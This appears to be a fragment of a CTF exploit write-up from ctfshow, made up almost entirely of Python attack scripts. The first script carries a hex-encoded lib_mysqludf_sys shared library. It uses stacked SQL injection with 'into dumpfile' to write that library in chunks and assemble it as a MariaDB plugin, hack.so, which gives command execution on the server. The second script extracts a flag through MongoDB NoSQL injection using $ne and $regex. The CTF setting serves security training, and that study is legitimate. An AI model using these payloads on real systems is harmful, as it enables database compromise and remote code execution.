1000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000" udfs=[] for i inrange(0,len(udf),5000): udfs.append(udf[i:i+5000]) #写入多个文件中 for i in udfs: url1=url+f"?id=1';SELECT '{i}' into dumpfile '/tmp/"+str(udfs.index(i))+".txt'%23" requests.get(url1)
#合并文件生成so文件 url2=url+"?id=1';SELECT unhex(concat(load_file('/tmp/0.txt'),load_file('/tmp/1.txt'),load_file('/tmp/2.txt'),load_file('/tmp/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/hack.so'%23" requests.get(url2)
flag = "ctfshow{" for i inrange(60): for j in letters: data = { "username[$ne]": f"1", "password[$regex]": f"^{flag+j}" } response = requests.post(url=url, data=data) ifr'\u767b\u9646\u6210\u529f'in response.text: flag += j print(flag) break if'}'in flag: print(flag) break # ctfshow{1839bec9-f8ee-49d4-af37-0a660031bd18}